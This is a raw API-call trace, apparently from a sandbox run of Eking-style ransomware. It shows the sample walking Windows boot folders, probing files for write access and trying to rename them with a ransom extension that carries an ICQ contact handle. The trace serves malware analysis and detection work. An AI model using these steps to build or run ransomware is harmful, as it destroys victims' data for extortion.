[0216.492] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=76632) returned 1 [0216.492] CloseHandle (hObject=0x318) returned 1 [0216.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0216.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0216.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.493] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.493] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.493] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=45472) returned 1 [0216.493] CloseHandle (hObject=0x318) returned 1 [0216.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0216.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0216.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.494] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.494] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.494] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=75616) returned 1 [0216.494] CloseHandle (hObject=0x318) returned 1 [0216.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0216.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0216.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.495] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.495] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.495] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=45472) returned 1 [0216.495] CloseHandle (hObject=0x318) returned 1 [0216.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0216.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0216.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.496] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.496] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.496] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=79200) returned 1 [0216.497] CloseHandle (hObject=0x318) returned 1 [0216.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0216.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0216.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.497] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.497] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.497] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=45984) returned 1 [0216.498] CloseHandle (hObject=0x318) returned 1 [0216.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0216.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0216.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.498] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.498] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.498] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=80224) returned 1 [0216.498] CloseHandle (hObject=0x318) returned 1 [0216.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0216.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0216.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.499] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.499] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.500] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=46496) returned 1 [0216.500] CloseHandle (hObject=0x318) returned 1 [0216.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20 [0216.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20 [0216.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.500] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.500] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.501] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=74072) returned 1 [0216.501] CloseHandle (hObject=0x318) returned 1 [0216.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20 [0216.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20 [0216.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.501] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.501] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.502] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=74144) returned 1 [0216.502] CloseHandle (hObject=0x318) returned 1 [0216.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0216.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0216.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.502] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.502] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.503] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=44960) returned 1 [0216.503] CloseHandle (hObject=0x318) returned 1 [0216.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0216.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0216.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.503] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.504] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.504] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=77664) returned 1 [0216.504] CloseHandle (hObject=0x318) returned 1 [0216.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0216.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0216.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.504] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.505] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.505] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=45984) returned 1 [0216.505] CloseHandle (hObject=0x318) returned 1 [0216.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui")) returned 0x20 [0216.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui")) returned 0x20 [0216.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\es-es\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.505] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.505] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.506] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=77664) returned 1 [0216.506] CloseHandle (hObject=0x318) returned 1 [0216.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui")) returned 0x20 [0216.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui")) returned 0x20 [0216.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.506] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.507] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.507] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=75104) returned 1 [0216.507] CloseHandle (hObject=0x318) returned 1 [0216.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui")) returned 0x20 [0216.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui")) returned 0x20 [0216.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.507] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.508] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.508] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=76640) returned 1 [0216.508] CloseHandle (hObject=0x318) returned 1 [0216.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0216.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0216.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.509] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.509] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.510] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=45472) returned 1 [0216.510] CloseHandle (hObject=0x318) returned 1 [0216.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui")) returned 0x20 [0216.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui")) returned 0x20 [0216.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.510] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.511] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.517] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3695719) returned 1 [0216.517] CloseHandle (hObject=0x318) returned 1 [0216.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0216.518] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0216.518] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0 [0216.518] SetEvent (hEvent=0x2b8) returned 1 [0216.518] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0216.529] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3878410) returned 1 [0216.529] CloseHandle (hObject=0x370) returned 1 [0216.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0216.529] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0216.529] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0 [0216.529] SetEvent (hEvent=0x2b8) returned 1 [0216.530] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), 